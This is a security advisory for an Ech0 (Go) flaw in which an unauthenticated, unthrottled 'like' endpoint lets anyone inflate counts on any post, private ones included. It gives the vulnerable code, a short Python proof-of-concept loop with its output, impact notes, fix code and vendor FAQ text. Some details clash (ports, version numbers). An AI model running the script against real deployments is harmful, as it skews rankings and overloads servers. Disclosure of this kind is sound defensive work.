GHSA-PJ6Q-4VQ4-R8CG

PUT /api/echo/like/:id at internal/router/echo.go:12 is registered on PublicRouterGroup with no authentication and no rate limit. Anonymous callers increment the fav_count counter on any echo (including private echoes) by UUID, repeat the request without deduplication, and trigger a database write plus a four-key cache invalidation on every call. Alice harvests echo UUIDs from the public GET /api/echo/page response, inflates fav counts at will, and spams writes to amplify load on the DB and cache layers.

Details

Route registration at internal/router/echo.go:12:

appRouterGroup.PublicRouterGroup.PUT("/echo/like/:id", h.EchoHandler.LikeEcho())

PublicRouterGroup is r.Group("/api") without the JWT middleware that AuthRouterGroup applies. The handler passes through to EchoService.LikeEcho, which calls EchoRepository.LikeEcho at internal/repository/echo/echo.go:270:

func (echoRepository *EchoRepository) LikeEcho(ctx context.Context, id string) error {
    var exists bool
    if err := echoRepository.getDB(ctx).Model(&model.Echo{}).
        Select("count(*) > 0").Where("id = ?", id).Find(&exists).Error; err != nil {
        return err
    }
    if !exists {
        return errors.New(commonModel.ECHO_NOT_FOUND)
    }
    if err := echoRepository.getDB(ctx).Model(&model.Echo{}).
        Where("id = ?", id).
        UpdateColumn("fav_count", gorm.Expr("fav_count + ?", 1)).Error; err != nil {
        return err
    }
    return nil
}

No viewer check, no ownership check, no private-flag check. Compare the read path at EchoService.GetEchoById (internal/service/echo/echo.go:275-300) which rejects anonymous readers on private echoes; the like path skips that gate. InvalidateEchoCaches (internal/repository/echo/echo.go:51-58) clears the page cache, today cache, RSS cache, and per-echo cache on every like. Comment creation on the same router group runs behind checkRateLimit (internal/service/comment/comment.go:731-766, 3 per 60 s per IP plus 20 per 3600 s); the like endpoint has no such middleware.

Proof of Concept

Default install, anonymous caller on the network:

import requests
TARGET = "http://localhost:8300"

# 1) Discover an echo UUID from the public feed (no auth).
page = requests.get(f"{TARGET}/api/echo/page?page=1&pageSize=1").json()
echo_id = page["data"]["items"][0]["id"]

# 2) Like it. Repeat without deduplication.
for i in range(3):
    r = requests.put(f"{TARGET}/api/echo/like/{echo_id}")
    print(f"public like #{i+1}: HTTP {r.status_code} {r.text}")

# 3) Like a private echo by UUID. Private echoes never appear in /api/echo/page,
#    but the UUID arrives via other channels (logs, referer, shared drafts).
private_id = "019daf77-4a97-7c4c-a63c-791b10ecfd0b"  # admin-created private echo
r = requests.put(f"{TARGET}/api/echo/like/{private_id}")
print(f"private like: HTTP {r.status_code} {r.text}")

Observed on v4.5.6 in the test container:

public like #1: HTTP 200 {"code":1,"msg":"点赞Echo成功","data":null}
public like #2: HTTP 200 {"code":1,"msg":"点赞Echo成功","data":null}
public like #3: HTTP 200 {"code":1,"msg":"点赞Echo成功","data":null}
private like: HTTP 200 {"code":1,"msg":"点赞Echo成功","data":null}

The same IP likes the same echo three times without 429 or dedup. The private-echo like (UUID 019daf77-4a97...) succeeded even though GetEchosById would refuse to read that echo for an anonymous caller.

Anonymous, rate-limit-free writes against any echo's fav_count. Direct impact:

• Popularity signal destruction. fav_count powers the hot feed; a single script skews the ranking at will.
• Private-boundary bypass. Private-flagged echoes remain non-readable, but they accept likes from anyone who knows the UUID. UUIDs leak through logs, referer headers on shared drafts, and the owner's browser history.
• Server and cache load. Every call triggers a SQLite UPDATE transaction plus four cache-key invalidations. A single attacker from one IP drives sustained writes and forces cache stampedes for every concurrent reader.

Reachability is anonymous. No credentials, no tokens, no session. Every Ech0 deployment that exposes port 6277 is reachable.

The application allocates resources such as memory, threads, or file descriptors based on untrusted input without enforcing a cap. Typical impact: resource exhaustion leading to denial of service.

GHSA-PJ6Q-4VQ4-R8CG has a CVSS score of 6.5 (Medium). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.4.8-0.20260503035905-cecc2c19b590); upgrading removes the vulnerable code path.

Kodem intelligence

Move the route to AuthRouterGroup so JWT middleware applies, add a per-user dedup gate, and rate-limit at the middleware layer:

appRouterGroup.AuthRouterGroup.PUT(
    "/echo/like/:id",
    middleware.RateLimit(5, 10),
    h.EchoHandler.LikeEcho(),
)

At the service layer, check the private flag and record the user/echo pair in a join table to prevent repeat increments from the same user:

func (s *EchoService) LikeEcho(ctx context.Context, id string) error {
    userID := viewer.MustFromContext(ctx).UserID()
    if userID == "" {
        return errors.New(commonModel.NO_PERMISSION_DENIED)
    }
    echo, err := s.echoRepository.GetEchosById(ctx, id)
    if err != nil || echo == nil {
        return errors.New(commonModel.ECHO_NOT_FOUND)
    }
    if echo.Private {
        user, err := s.commonService.CommonGetUserByUserId(ctx, userID)
        if err != nil || !user.IsAdmin {
            return errors.New(commonModel.NO_PERMISSION_DENIED)
        }
    }
    return s.echoRepository.LikeEchoOnce(ctx, id, userID)
}

Found by aisafe.io

1. What is GHSA-PJ6Q-4VQ4-R8CG? GHSA-PJ6Q-4VQ4-R8CG is a medium-severity allocation of resources without limits or throttling vulnerability in github.com/lin-snow/Ech0 (go), affecting versions < 1.4.8-0.20260503035905-cecc2c19b590. It is fixed in 1.4.8-0.20260503035905-cecc2c19b590. The application allocates resources such as memory, threads, or file descriptors based on untrusted input without enforcing a cap.
2. How severe is GHSA-PJ6Q-4VQ4-R8CG? GHSA-PJ6Q-4VQ4-R8CG has a CVSS score of 6.5 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of github.com/lin-snow/Ech0 are affected by GHSA-PJ6Q-4VQ4-R8CG? github.com/lin-snow/Ech0 (go) versions < 1.4.8-0.20260503035905-cecc2c19b590 is affected.
4. Is there a fix for GHSA-PJ6Q-4VQ4-R8CG? Yes. GHSA-PJ6Q-4VQ4-R8CG is fixed in 1.4.8-0.20260503035905-cecc2c19b590. Upgrade to this version or later.
5. Is GHSA-PJ6Q-4VQ4-R8CG exploitable, and should I be worried? Whether GHSA-PJ6Q-4VQ4-R8CG is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether GHSA-PJ6Q-4VQ4-R8CG is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix GHSA-PJ6Q-4VQ4-R8CG? Upgrade github.com/lin-snow/Ech0 to 1.4.8-0.20260503035905-cecc2c19b590 or later.